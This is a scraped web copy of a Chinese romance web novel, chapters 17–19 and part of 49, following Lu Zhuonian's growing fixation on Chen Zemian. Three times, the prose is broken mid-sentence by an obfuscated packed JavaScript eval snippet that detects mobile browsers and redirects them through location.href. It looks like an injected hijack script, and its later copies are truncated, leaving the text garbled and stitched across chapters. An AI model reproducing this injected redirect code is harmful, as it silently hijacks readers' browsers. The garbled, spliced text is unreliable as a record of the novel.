过于强烈的自控意识逐渐漫延到生活中,演变为对周围事物的绝对支配,就像一台设定精准的高性能计算机,陆灼年习惯一切事情都依照他计算的路线运行,按部就班发展,不允许意外或者是其他差错的出现。 陈折是个意外。 自从他出现,陆灼年的情绪稳定系统就一直弹窗报错。 这本身就是一个危险讯号。 失控的讯号。 陆灼年未雨绸缪:“情绪波动并不值得困扰,我担心的是情绪变化作用到身体,科学研究表明,身体反应会受到情绪影响。” 心理医生听懂了陆灼年的未尽之意,也给出了自己的建议:“你现在将太多尚未发生的预期结果投影在他身上了,这种投射会不断加重你的心理负担,有时候人往往越不想关注什么,反而越关注什么。” 陆灼年认可道:“确实。” 医生继续说:“你可以尝试将注意力转移到别的事情上,或者通过适度接触的方式,逐渐消除‘危机感’。” 陆灼年皱眉道:“所以你的意思是,我应该熟悉他的行为模式,总结规律,并以此为模型提前做出心理预设,避免因失控感而产生情绪变化。” 医生沉默了足足半分钟:“我没有这么说,我的意思是脱敏训练可以增强自身适应性。” 于是,陆灼年选择性地接受了医生的建议,把陈折安排到射击场工作,放在了自己能看得见位置。 这一个半月以来,他虽然只见过陈折两次,但已经观察了陈折许久。 他的手机可以查看射击场内任意一处监控,闲暇时,陆灼年偶尔会打开看看。 可惜截至目前为止,收效甚微。 一个多月过去了,他既未能总结出陈折的行为模型,自身适应性也没有增强。 他还是会因为陈折产生各种各样的情绪,而且有扩大趋势。 也许是量变积累不够,未能达到质变的程度。 失败的原因要归咎于陈折不够配合。 陈折太难预测了。 陆灼年从小到大都是优等生,万万没想到,竟然会在预测陈折行为这门科目上屡屡受挫。 而陈折就像大学里最令学生讨厌的任课老师,不仅连个重点都不给画,甚至不给陆灼年机会做练习题—— 萧可颂在的时候,陈则眠表现得还像个活人,可萧可颂一走,陈则眠就缩在角落里,宁可用瓜子自己跟自己下五子棋,也不来和陆灼年说话。 照这样下去,恐怕很难在短时间内达成质变了。 陆灼年功利心很强,对这过于缓慢的进展略感不爽。 他看着陈则眠,眼神愈发幽深。 陈则眠如芒在背,坐立难安,有点想找机会开溜,抬头偷瞄陆灼年在干什么,不料正和对方端视他的眼神撞在一起。 “陆少,”陈则眠实在扛不住了,随便找了个理由:“您饿不饿?我去给您拿点吃的吧。” 陆灼年说:“不饿,你饿了?” 陈则眠确实饿了,就点点头说:“有点。” 陆灼年抓住搜集信息的机会,立刻问:“你想吃什么?” 陈则眠想吃烧烤、火锅、辣子鸡,奈何陈折的胃不大好,晚上吃这些会胃痛,只能不情不愿地说:“吃点面条吧。” 陆灼年将陈则眠的表情尽收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14948505|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底:“你想吃得似乎不太真心。” 陈则眠笑了笑,恭维道:“陆少真是洞若观火,这都被您发现了。” 陆灼年大方地分享了自己的观察结果:“很明显,你刚才皱了下鼻子,不满意或者不乐意的时候,你就会做这个小动作。” 陈则眠有点惊讶:“您怎么知道?” 陆灼年没有回答,按铃叫来服务员:“先点餐吧。” 陈则眠察翻着菜单什么都想吃,但最终还是只点了一碗面。 晚上还有陪萧可颂出去玩,胃痛就太扫兴了。 陈则眠感觉陆灼年心情有所好转,登时压力骤减,又和陆灼年闲聊了几句。 陆灼年习惯了陈折信口开河,也听出对方有意逢迎。 奉承话陆灼年听得多了,难免有些意兴阑珊,潜意识又觉得陈折不该这样。 若说是因为身份缘故,陈折却不曾趋奉叶宸,和萧可颂还能嬉皮笑脸地开玩笑,对许劭阳、刘越博之流更不客气。 和别人接触都很正常,只有和他相处时很假。 陆灼年不知道哪里出了问题,这也是他无法预测陈折行为的主要原因。 服务员来得很快,陈则眠点了一碗面,陆灼年又添了几道菜,服务员记下菜名后躬身离去。 陈则眠奉承道:“看来您对这里的招牌菜很了解。” “有几道能吃的,”陆灼年停顿半秒,突然说:“不要再用敬称,听起来很奇怪。” 陈则眠应道:“好吧,都听陆少的。” 陆灼年语气淡淡:“是吗?” 陈则眠说:“当然,之前你说我头发晃眼,这不就染成黑的了。” 闻言,陆灼年眼神轻轻一动。 “为什么要听我的?”陆灼年问。 陈则眠理所当然地说:“我是陆少的小弟,小弟当然要听大哥的。” 陆灼年声音冷肃,听不出一丝情绪:“你对当我小弟这件事很执着。” 陈则眠想起原书中的陈折,思绪恍惚了一瞬。 陆灼年很熟悉陈则眠走神的样子,熟练地敲了敲桌面,开启唤醒流程:“陈折。” 陈折果然回神:“陆少。” 陆灼年又问了一遍:“为什么想当我小弟。” 陈则眠难得沉默几秒,眼底恍惚闪过一丝难以形容的情绪,慢声道:“可能是觉得……如果有陆少罩着的话,就不会被欺负羞辱了吧。” 陆灼年手指微不可察地动了动,抬起眼眸:“很多人欺负你吗?” 陈则眠不知该如何作答,就说:“记不太清了。” 陆灼年目光如若鸿羽,轻轻落在陈则眠脸上。 陈则眠礼节性地勾了勾唇角。 两个人都没再说话。 不一会儿,服务员敲门,将他们刚才点的餐食送了上来。 陈则眠夹起一筷子面条。 这碗面滋味有些寡淡,陈则眠刚想去取桌面上的调料瓶,调料瓶就被另一个人拿了起来。 陈则眠叼着面条抬起头。 眼前是一只骨节分明的手。 “陈折,” 陆灼年先叫了他的名字,然后将调料瓶推到他面前,沉声道:“以后有人欺负你,无论是谁,你都可以来找我。” 18.第 18 章 陈则眠不觉得自己会被谁欺负,但显然有些人并不这么认为。 比如他的好老大萧可颂。 萧可颂还记得陈则眠和刘越博在射击场的‘咖啡事件’,这次生日宴见到刘越博大哥时,有意无意地提了提。 刘越博大哥叫刘昊,正是和刘、萧两家合作的牵头人,听了萧可颂的话,转头就找到角落里的刘越博兴师问罪。 刘越博看向刘昊,不服不忿道:“大哥,你听谁说是我欺负了陈折?” 刘昊掀起眼皮瞥了眼傻弟弟,反问:“你说呢?” 刘越博终于反应过来了:“是萧可颂!” “别和萧可颂他们过不去,”刘昊语重心长道:“等你毕业了,这些朋友将来都是你的人脉,萧家和咱们有合作,陆家更是如日中天,你学聪明一点,和他们搞好关系不会吃亏。” “是我不想吗?”刘越博倚着铁艺栏杆,语气无奈:“圈子里那些人谁不是天天跟着陆灼年鞍前马后,你看他搭理谁了,不还是只和萧家叶家那两位玩得最好吗?人家是发小,打小的交情,我可挤不进去。” 刘昊杀人诛心:“那陈折怎么就挤进去了。” 刘越博:“……” “陈折和他们也是发小?”刘昊持续补刀:“他认识陆灼年比你们都晚吧,认识萧可颂也没半年,他怎么就行呢?” 刘越博狠狠吸了一口烟:“他不要脸。” 刘昊一巴掌呼在刘越博后脑勺上。 刘越博捂着脑袋抬起头:“你打我干嘛?他就是不要脸,把他妈萧可颂都该哄成智障了,他用咖啡泼我,回头说自己手滑,这么离谱的话萧可颂都信,还以为我欺负他,找你来告状,我他妈冤死。这种人搁古代就一奸佞,颠倒黑白,指鹿为马。” 刘昊问:“还有呢?” 刘越博咬牙切齿:“他还威胁我!说以后再听见我骂人就用热水烫死我。” “难怪你最近都不怎么说脏话了。”刘昊眉梢微挑,若有所思:“这个人比我想象中还要厉害。” 刘越博不服气道:“他能有什么能耐,不过就是长了张厉害的脸!” 顶着那么一张漂亮无辜的脸,就算知道他是在胡说八道,也会忍不住在心里替他开脱。 刘昊见过陈折,知道刘越博所言非虚。 陈折生了副出尘绝艳的好姿容,好看到那种程度,确实有为所欲为的资本。 最与众不同的是,他漂亮,但不柔弱,不易攀折更不好欺负,比玫瑰还扎手,似枝摇曳生辉的虞美人,全株都含有巨毒生物碱,碰一下都要命。 刘昊思索道:“如果你是横行霸道,被萧可颂告到我这里也罢,可我刚才听你的意思,是你在陈折那里吃了亏,结果萧可颂还反过来觉得你欺负了陈折?” 刘越博十分憋气又屈辱的‘嗯’了一声,两股烟从鼻子里冒出来,像一头生气的公牛。 “别再和他过不去了,”刘昊直截了断地评断道:“你玩不过他。” 刘越博也觉得自己玩不过陈折。 陈折跟个男狐狸精一样,已经把所有人都迷惑了,大哥只远远见过陈折一次,听了三言两语就断定陈折厉害。 这是很少见的。 刘越博简直烦死,又点了一支烟:“他现在跟陆灼年他们关系那么好,我不弄他,怎么挤到陆灼年跟前去。” 刘昊偶尔会怀疑母亲怀刘越博是不是喝酒了,不然这个弟弟怎么五迷三道的。 “他没和陆灼年关系好的时候,你就挤到陆灼年跟前去了?” 刘越博:“……” 刘昊发现启发弟弟独自思考的可能性非常渺茫,直接告诉刘越博该怎么做:“我现在带你去跟陈折道歉,以后你跟他玩。” 刘越博震惊道:“我跟他玩?这一圈人里我俩关系最差,我俩怎么玩?” 刘昊深吸一口气:“你有没有想过为什么就你和他关系差,因为你是被当枪使的那个枪,他现在这么得陆灼年垂青,没准别人都已经去主动跟他示好了。” 刘越博下意识反驳:“不能吧。” 刘昊意味深长道:“不信咱们就去看看。” 几分钟后,刘家兄弟返回宴会厅。 才一进门,就看到薛家小少爷薛铎和陈折站在一处,二人有说有笑。 很明显,已经有人反应过来,可以通过陈折接近陆灼年了。 刘昊看了刘越博一眼:“看见了吗?” 刘越博无话可说,也没了脾气,低头问大哥:“那现在怎么办,我就算跟他道歉,他也不会跟我玩的,之前就我针对他最多。” “有你哥我呢。”刘昊示意路过的侍者停下,拿过两支香槟,将其中一支递给刘越博:“而且他是聪明人,不会记你仇的。” 是因为他知道你傻。 * 陈则眠吃饱了就有点犯困。 突然,薛铎碰了他胳膊一下,说:“刘越博过来了。” 陈则眠顺着薛铎的视线看过去。 刘越博跟在大哥身后,看到陈则眠手中酒杯,不由想起被泼的那一脑袋咖啡。 陈则眠把香槟杯放到一边。 刘昊在陈则眠对面站定,温声道:“你好,你就是陈折陈先生吧。 ” 陈则眠:“您是?” 薛铎在旁介绍:“这是刘越博的大哥,刘昊刘总,上博影业副总裁。” 陈则眠笑着点头,客气道:“刘总。” 刘昊面带笑意,开门见山:“陈先生,我家这弟弟从小就不成器,听说之前还和您有些龃龉,小孩子不懂事,您多见谅。” 陈则眠有点诧异:“刘总客气了,都是开玩笑罢了,算不得龃龉。” 刘昊颔首道:“陈先生量大福大,自然不会和小孩子计较,在家我就说过他了,他也认识到了自己的错误,只是一直没机会当面致歉,今天恰好遇见,冒昧打扰,希望你不会觉得唐突。” 这话姿态放得够低,刘越博知道大哥为了给自己搭台才这样,就是有千般不愿也不能辜负了大哥的好意。 刘越博深吸一口气,暗想三遍‘陈折可以不要脸,我也可以不要脸’,终于做好了心理建设,勉强挤出一个微笑:“是的,陈折,之前是我不对,真是对不起。” 陈则眠不知道刘家两兄弟要干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘昊充分展现了资本家的本质,和陈则眠达成合意后,当即把刘越博扔给陈则眠,推脱说有事要先走,独留下两个人面面相觑。 两个人上次见面还剑拔弩张,今天突然被刘昊的钞能力行绑定,气氛难免有些尴尬。 接下来的几个小时,刘越博深刻体会到自家大哥的深谋远虑。 跟在陈折身边这么一会儿工夫,他和陆灼年等人的接触比过去半年还多。 陈则眠一向独来独往,身后多出个人高马大的刘越博十分怪异惹眼,不仅各位二代们频频侧目,连陆灼年都过来问了一句。 听完陈则眠简要概述完前因后果,所有人都露出了无语的表情。 大家对于此事的评价也褒贬不一。 萧可颂暴跳如雷:“你很缺钱?怎么什么钱都挣,我给你六十万行吗,你赶紧把他退回去,看着碍眼。” 叶宸言辞中肯:“也还行,比在灼年那里打工赚钱。” 陆灼年神色淡漠:“我能给更多。” 陈则眠:“?” 19.第 19 章 萧可颂的活力值非常高。 生日宴从早忙到晚,一直在社交拍照,宴会结束后,竟然还有精力继续玩。 不愧是二十岁的小伙子。 陈则眠十九岁的身体里装了个二十七岁的社畜魂,在宴会上见了那么多人以后,自动触发‘团建后身心俱疲只想睡觉’的被动技能,还没等到繁楼,就在车上就睡着了。 醒来时,车里一片漆黑。 视觉消失后,嗅觉变得格外灵敏。 陈则眠闻到一丝清淡的混着百合的檀木香。 还有雪松和白麝。 冷淡如冬残冬初雪,干冽清新,是一款很熟悉的木质中性香。 “是冥府之路吗?”陈则眠揉了揉眼睛,困倦道:“这一觉给我干哪儿来了。” 一道冷清低沉的男声从身边传来:“繁楼停车场。” 陈则眠听出那人声音,猛地直起身,困意瞬间烟消云散:“陆灼年?” 陆灼年淡淡应道:“嗯。” 陈则眠有点懵:“萧少呢?我不是跟他坐得一个车吗,您怎么在这儿?” 陆灼年言简意赅:“你睡着了,他怕你闷死。” 陈则眠心说那留个司机看着还不够,怎么还把陆灼年留下了。 “那我们也上去吧。”陈则眠说。 陆灼年应了一声。 车外夜色深沉,因为陈则眠在睡觉,司机特意把车停到了背光的地方,车内漆黑一片,陈则眠什么都看不到,抬手去按车顶的阅读灯。 刚伸出胳膊,还没摸着灯,先碰到了另一只手。 ‘啪’的一声轻响,静电在黑暗中炸开淡蓝火花。 京市的秋季太过干燥,摸什么都带着静电。 电荷穿透皮肤,转移刺激神经,那感觉像是被某种啮齿类动物咬了一口,两个人动作同时一顿,都觉得被电到的位置有点发麻。 下一秒,车顶阅读灯投下温柔的光,陈则眠侧过头,看到了高挺的鼻梁和一双深黑眼眸。 轻微刺痛后,触感变得格外清晰。 皮肤温热,指尖微凉。 是陆灼年的手。 陈则眠反应迅速,猛地向反方向弹开,不仅收回了手,整个人都退到了座位边缘,后背紧紧靠着车门。 可车舱还是太狭窄了,即便一方极力将距离拉到最远,两个人挨得还是那么近。 一声轻笑响起,近得仿佛就贴在陈则眠耳边。 陆灼年的声音听起来和平时很不一样,有种莫名的愉悦与促狭:“静电的压值确实很高,但还不至于把人电飞吧。” 陈则眠捻着还微微发麻的手指,嘀咕道:“你不是有洁癖吗?” 陆灼年眉梢轻轻一动:“你怎么知道。” 陈则眠张嘴就胡扯:“萧少告诉我的。” 陆灼年没说信还是不信,从置物箱抽出酒精湿巾,慢条斯理地将整个右手擦了三遍。 走进包厢后,他做的第一件事就是去洗手。 萧可颂对陆灼年的洁癖见怪不怪,但又有点好奇。 陆灼年养尊处优,出门在外基本不用碰什么东西,去公共场所提前清场,走特殊通道,车门有司机开,东西有助理拿,实在需要伸手的时候,也会有保镖过来给他送手套。 萧可颂横竖也想不通,索性问陈则眠:“他碰啥了?” 陈则眠总不能回答‘我’吧,于是看向包厢角落里摆的一堆礼盒,明知故问:“这都是你的礼物吗?” 萧可颂注意力很容易转移,闻言循声望去:“对,我专门让人送过来的,一会儿拆开看看……你送我的是什么?” 陈则眠从礼物堆里找出一个巴掌大的礼盒:“也不知道你缺什么,随便买了个小玩意。” 萧可颂晃了晃盒子:“我拆开看啦。” 陈则眠笑着点头:“拆吧。” 萧可颂三两下撕开包装,看着礼盒上的LOGO惊叹:“哇,你居然给我买了Prada。” 陈则眠轻咳:“萧少,你不用故意表现得这么夸张。” 萧可颂是真的很惊喜:“你居然送我奢侈品哎,你自己都不用,这不是说明你超在意我的嘛!比叶宸那孙子强多了,他就给我买了个耳机,还是有线的,现在谁戴有线耳机,土死了。” 叶宸有理有据:“无线的你不是总丢吗?” 萧可颂没搭理叶宸,举起礼盒给坐在一边的陆灼年看,显摆道:“陈折送了我Prada哦。” 陆灼年侧身看过来:“是什么?” 三位顶级豪门大少爷,这么郑重其事地围过来,搞得人都有点不好意思了。 陈则眠小声说:“不是什么值钱的东西,是一个项圈。” 项圈? 叶宸和陆灼年同时看向陈则眠。 萧可颂掀盒盖的手停下,以为自己幻听了:“什么?” “项圈啊,宠物项圈,你不是养了一只缅因……” 陈则眠不明所以,见萧可颂神色异常,便多解释了两句,说着说着,见他眼神逐渐从惊愕恢复从容,陈则眠灵光一闪,猛地反应过来: “我靠,你们在想什么,你们的心太脏了!” 叶宸轻咳一声,拿起水杯喝了口水。 陆灼年若无其事地移开视线。 萧可颂没心没肺地笑起来,说:“原来是给猫的,是我们想多了,哈哈哈哈。” 陈则眠皱起眉梢:“正经人不会往这边想吧。” 萧可颂勾着项圈轻晃:“主要是前两天我们刚看了个艺术表演,这玩意的登场率还挺高。” 陈则眠无语道:“你怎么什么都看?” 萧可颂脸上浮现出某种一言难尽的神色:“一点也不好看,可能我和叶宸都没这个倾向吧。” 闻言,陈则眠大吃一惊。 萧可颂和也都没这个倾向,所以有这个倾向的是…… 陈则眠自以为隐蔽地偷瞟向陆灼年。 原书里写男主爱好小众的极限运动,难道说的是这种小众、这种极限? 也太小众、太极限了。 都洁癖了还玩这么花,游戏过程中承受方最大的痛苦来源是酒精消毒吧,好新奇的一玩法。 陈则眠脸色几经变幻,想些什么几乎都写在脸上。 只见他时而敛眉不解,时而恍然大悟,最后竟沉淀为一丝隐隐的钦佩? 看到他这副模样,虽然不能明确知晓其脑补内容,也大概能猜到他在想些什么。 陆灼年有点无奈:“我没去。” 原来是没去。 不知为何,陈则眠竟松了一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“挺好喝的。”陈则眠词汇匮乏,也不太懂酒,就指了指他觉得味道最好的一瓶:“这瓶怎么样?” 店员鼓掌惊叹:“您真是太有眼光了!这是我们这里销量最好的一款。” 陈则眠并没有被店员的吹捧冲昏头脑,转头看向陆灼年,询问这位大佬的意见。 陆灼年微微颔首,矜贵而优雅地一点头:“可以。” 陈则眠这才说:“那把这两瓶包起来吧,送到K866包厢。” 店员含笑应下,接过陈则眠递来的银行卡,刷了POS机请陈则眠签字。 陈则眠大笔一挥,签下了自己的名字。 POS嗡嗡作响,吐出一串凭条。 店员撕下客户联递回去:“这是小票,请您收好。” 陈则眠刚想伸手去拿小票,另一只手却先他一步,把那张小票接了过去。 陆灼年捏着小票,视线在薄薄的纸片上停顿两秒,开口叫了他的名字: “陈折。” 陈则眠抬起头,略带疑惑地应了一声:“嗯?” 陆灼年翻转小票,露出客户签字处龙飞凤舞的签名,沉声问道: “陈则眠是谁?” 49、第49章... 第二天,陈则眠画了他爸的素描图给陆灼年。陆灼年拷贝走了文件夹里那张照片,问陈则眠他爸叫什么。陈则眠答不出来,陆灼年也没多问。有时候,陈则眠会怀疑陆灼年已经知道了什么,可陆灼年不说,他也没法问,只能装没事人。陆灼年说已经联系到人去查了,只是现有的消息实在太模糊,可能要一些时间才能回信。既然空等无用,陈则眠还是决定按原计划去三亚过年。 转眼,就到了出发前一天。 陈则眠的行李大多都在自己家,本来想在提前一天回家住,收拾收拾屋子,顺便把行李直接邮到酒店去,省得到时候大包小包,赶路不方便。 没想到都临近年根了,陆灼年居然还在腊月二十八那天从陆家老宅出来,回到盛庭华府这边住了一晚。 陈则眠当时正坐在客厅地毯上,整理已经开封的零食:不好吃的丢进垃圾桶,好吃的丢进自己嘴里,一般好吃的按不好吃处理。 听到电子锁转动的声音响起时,他还以为自己听错了,举着零食袋子转过头,正看见陆灼年抬手推开门。 屋外漫天大雪,开门的瞬间,北地特有的寒风卷着雪粒,吹进了陈则眠的眼睛里。 从下车到进门也就几步的距离,可外面风雪实在太大,台阶上的雪积了半尺深,向来不染纤尘的陆灼年都浸了冷冽。陆灼年肩头发梢沾了几粒白雪,裹着满身寒意,携风踏雪而来。 这么大的雪,陈则眠没想出门见人,起床后脸都没洗,忽然看到这么个顶顶精致英俊的人,恍惚了一瞬。 光天白日的打扮什么。 等会儿我也要去洗个脸,不不,洗个脸加洗个头发,不不不,直接洗个澡吧,弯腰洗头脖子疼。 总之就是要拾掇拾掇自己,必须卷回去! 陈则眠腹诽了两句,才慢吞吞起身相迎:“这么大的雪,你怎么还来了。” 陆灼年反手掩上门,将呼啸的寒风关在门外:“回来拿点东西。” 这个卷王!送花? “什么东西?”陈则眠问。 陆灼年对答如流:“一本外文书,突然很想看。”陈则眠奇道:“就这么点事,你还亲自跑一趟。” “怎么?”陆灼年睨了陈则眠一眼,漫不经心地扫去肩上残雪:“还不许我回来了。” 陈则眠冤枉道:“我哪有。” 陆灼年淡淡评了他四个字:“鸠占鹊巢。” 陈则眠很无语:“我是说外面雪这么大,开车多危险啊,你要有什么想拿的,直接叫保镖来取,或者叫我给你送过去不就得了?” 陆灼年脱下大衣,淡淡道:“出门的时候雪还小。” 玄关处踩进来的雪已经化了,陆灼年精致昂贵的鞋尖上沾了几滴透明水珠。 从他脚下的残雪就很容易看出来,这是位平日里脚不沾地的大少爷,连脚下的雪水都是干净的,半点污浊也无,鞋底简直比雪还干净。陈则眠去洒扫间拿了拖布,顺手把玄关瓷砖上的水擦净:“那你拿什么赶紧拿,一会儿我回家,正好顺路给你送回去。” 陆灼年换了拖鞋,慢慢往楼上走:“你家和我家好像不顺路。” 陈则眠跟在陆灼年身后,很无所谓地说:“那有什么,开车都很快的。” “不会很快,”陆灼年脚步微顿,语气随意得像仿佛事不关己:“路上都是雪,车开不起来,有好几起事故,堵车堵得厉害。” 陈则眠一听这话就有点不想出门了:“那你来得时候还顺利吗?” 陆灼年语调平常:“还算顺利,来的时候有辆车刹不住,差点撞到我。” 陈则眠一惊:“这还叫顺利?!” 陆灼年淡淡道:“不顺利就撞上了。” 陈则眠没想到还有这种反向顺利法,又问:“撞到你还是撞到你的车?” 陆灼年说:“有区别吗?” 陈则眠一想也是:“下雪开车就是很危险,不是你的车好就没事,你看下雪就别出来了呗。” 陆灼年扫了眼窗外:“雪大也没妨碍萧侈兀给你送花。” 陈则眠也看过去:“你说那些腊梅?” 陆灼年抬步迈上台阶:“雪染寒梅,十里飘香,这么风雅的景象,在陆宅还真看不到。” 陈则眠笑了笑,不是很在意地说:“要不是你说我还真没注意。” 陆灼年状若无意,仿佛只是随口一问:“他又找你了吗?” 陈则眠如实回答:“也不怎么找。” 陆灼年很擅长捕捉重点:“所以也是找过了?” 陈则眠迟疑了一下:“你很介意吗?” 陆灼年语气平淡,看向陈则眠:“如果我说介意呢。” 陈则眠立刻表示:“他前几天也没有再送花了,我也不知道他今天会送,不过我这就回家了,我马上跟他说,省得他再突然送什么东西过来,影响你心情。” 陆灼年脸色没有太多变化,声音却显出几分不悦:“是他送到哪里的问题吗?” 突然低沉的语气略显威严,有几分质问意味。 陈则眠微微一怔。 从晚宴那天回来,他们已经有好几天没见面了,陈则眠没想到陆灼年一回家就兴师问罪。 自己明明也没做错什么。 且不论萧名兀的身份地位都高于他,单论从萧可颂这层关系来说,陈则眠也不好把关系弄得太僵,就算接萧俗兀的电话也是硬着头皮接的。 但萧名兀这个人非常识情识趣,后来再没有什么逾矩的言行,仿佛是见陈则眠无意,就退回了正常社交的范围。 在陈则眠委婉告知其自己是直男以后,萧名兀表示理解并尊重他的性向。 与此同时,萧名兀还就晚宴那天的事情诚恳致歉,坦言承认是因为当时刚从萧宅出来,心情本就不佳,当时周围人来人往,还有小辈在场,他觉得落了颜面才会失礼,希望陈则眠能够见谅,不要计较,以后有机会一定亲自当面赔罪。 话都说到了这里,在陈则眠看来这事就解决了、过去了,没必要一直抓着不放,倒显得很在意似的。 看到陆灼年回来,他本来挺高兴的,还想约他中午一起看雪吃铜锅,只是还没来得说,陆灼年就先发制人,莫名其妙地旧事重提,还这样质问他,让人不知道该先说些什么。 陈则眠迷茫地看向陆灼年,不知所措的样子瞧起来有点委屈。 陆灼年心尖微紧,像是被抓了一下,立刻缓了声音:“我是讨厌他缠着你,没别的意思。” 陈则眠说:“他已经不缠了,我们后来聊过这件事。” 陆灼年百分百确信萧名兀不可能这么轻易放弃,但还是问:“怎么聊的?” 陈则眠倒是完全相信了萧名兀的说辞:“他说不知道我是直男,那天他太唐突,以后就当朋友相处。” 听到‘朋友’这两个字,陆灼年就忍不住冷笑。 也不知道是笑萧名兀诡计多端,还是笑当朋友有用的话,他还站在这里干什么。 陈则眠搞不懂为何陆灼年忽然冷酷一笑,不耻下问道:“你笑什么?” 陆灼年看了陈则眠一眼:“这你也信。” 陈则眠说:“那有什么不信的。” 陆灼年不咸不淡道:“他还在给你送花。” 陈则眠拿出手机,本来想问一下萧名兀怎么回事,打开微信还没点进对话框,就先看到了物业发的消息,当即露出无语的表情。 这回花真是物业送的了。 每户都有,难怪会十里飘香’。 陈则眠把手机递给陆灼年看:“腊梅是物业送的,你来的时候没看到别人家门口也有吗?” 陆灼年看了眼屏幕,关注点清奇:“你们还加微信了?” 陈则眠说:“加了,上次交物业费加的。” 陆灼年:“我是说你和萧侈兀。” 陈则眠:……" 陆灼年拿过陈则眠的手机,检查着两人的聊天记录,发现他们一共也没说几句话以后,心情略微好转。 他把手机还给了陈则眠:“以后少理他。” 陈则眠也不知道陆灼年为什么要管这件事,但他作为一名合格的小弟,他已经习惯了服从陆大少的安排:“已经很少理了。” 陆灼年表示:“要再少一点。” 陈则眠点点头:“好吧,不过他后来真的跟我道歉了,说得还挺诚恳的,说那天是因为人太多,他有点下不来台,才表现强势的。” 陆灼年冷嗤一声,云淡风轻道:“不用听他说什么,这些GAY为了骗你上床,什么话都说得出来。” 陈则眠发现了华点:“什么叫这些,不就他一个吗?” 陆灼年转身进了自己房间:“明天早上我送你去机场。”陈则眠注意力被转移只需要0秒:“明天?你今天不回陆宅了?”陆灼年也把手机拿出来给陈则眠看:“外面雪太大,我妈让我明天再回去,你也别走了。”陈则眠犹豫道:“可是我的行李在家,晚上还得去接闫洛的。” 陆灼年要有安排:“把钥匙给保镖,让他们去给你收拾行李,再把闫洛接到这儿来,明天一起走。” 陈则眠高兴道:“那可以。” 陆灼年轻笑一声:“你高兴什么?” 陈则眠说:“最近你都在陆宅,晚上也不让我出去玩,我自己可没意思了。” 陆灼年龙颜微悦:“我回来你就有意思了?” 陈则眠应道:“有点,你不是还要接闫洛吗?晚上我们一起吃火锅,打游戏吧。” 陈则眠刚想给闫洛打电话说一声,号还没播出去,手机先响了。他看都没看就接起电话:“喂,哪位?”一个陌生的男声从话筒里传出:“萧名兀。” 陈则眠:……. 这哥们还真是不经念叨。 陆灼年听到某个讨厌的名字,脚步微微一顿。 陈则眠很客气:“十六叔啊。” 萧名兀零帧起手:“今天雪下的大,萧府宅院里雪景很漂亮,我就想起了你。” 这话陈则眠是真不知怎么接。 陆灼年那边听不到萧名兀说了什么,但见陈则眠脸色奇怪,就猜到不是什么好话。 他拿出手机叫人来送餐,路过客厅时,状若无意地问了陈则眠一句:“火锅你吃什么锅底?” 陈则眠如蒙大赦,立刻凑头去瞧电子菜单:“我看看都有什么。” 陆灼年淡淡道:“不用,你打电话吧。” 陈则眠对萧名兀说了声稍等,右手拿着电话,左手从陆灼年那里接过一杯水:“吃番茄锅、猪肚鸡锅……辣的也想吃。” 陆灼年说:“好好和萧总讲电话,三心二意的,这样很不礼貌。” 陈则眠顺水推舟,立刻和电话那头说了再见:“萧总不好意思啊,我这边还有点事,改天聊。” 说完,陈则眠飞快挂断电话,打了个寒颤,把手机往沙发上一扔:“他说话语气好奇怪,听得我直起鸡皮疙瘩。” 陆灼年轻笑一声:“怕什么?他又不会从手机里爬出来。” 陈则眠嘴硬道:“谁怕了,主要是一会儿闫洛该来了,我先上楼洗个脸,今天还没洗脸呢。” 说完就三步并称成两步,飞快蹿上了楼。 陆灼年望着陈则眠背影,脚步微顿,回头看了眼手机,目光毫无温意。 * 陈则眠回到卧室,本来是觉得洗个脸得了,但又想起还得拾掇自己卷陆灼年的事,当即决定还是洗个澡好。 他伸手一拽没摸到浴巾,想起来浴巾洗了晾在楼下,又懒得去拿,便明知故问:“陆少,麻烦看一眼楼下有没有我浴巾?” 陆灼年的声音穿过走廊:“在洗衣房。”陈则眠很不诚心地说:“那我下去拿。” 陆灼年声音从楼下传上来:“我给你拿吧,省得手机咬你。” 陈则眠:“…” 他就说陆灼年该吃治嘴毒的药! 片刻,陆灼年上了楼,拿着洗衣筐敲了敲房门。 陈则眠正在洗脸,眼都没睁:“进进进。” 陆灼年本来想把筐给陈则眠,见他腾不出手,就直接进了浴室帮他把浴巾挂上了。 陈则眠半弓着身子,越想越憋气:“我真服了,你说那萧侈兀是不是有病。” 陆灼年背对陈则眠,抬手把浴巾搭到置物架上:“什么病?” 陈则眠一边洗脸一边含混地说:“脑子有病呗,我都不知道他怎么想的,干嘛要缠着我。” 陆灼年挂好浴巾,抬步往浴室外面走:“我也不知道。” 陈则眠抽出两张纸,擦掉水池边溅上去的水:“你不是说他喜欢小男孩吗?我也不小啊。” 陆灼年停下脚步:“你不小?” 陈则眠‘嗯 了一声。 陆灼年在陈则眠身后站定,说:“抬头。” 陈则眠抬起头,通过镜子和陆灼年对视:“咋了?” 陆灼年手臂半环过陈则眠脖子,扳起他削尖的下颌,让陈则眠看向镜中的自己。 镜子里倒映出一张巴掌大的狐狸脸。 因刚洗完脸,细碎的刘海微湿,斜扫在锋利狭长的眉梢上,眼珠亮得像沁在山泉中的猫眼石,光华璀璨,顾盼烨然。 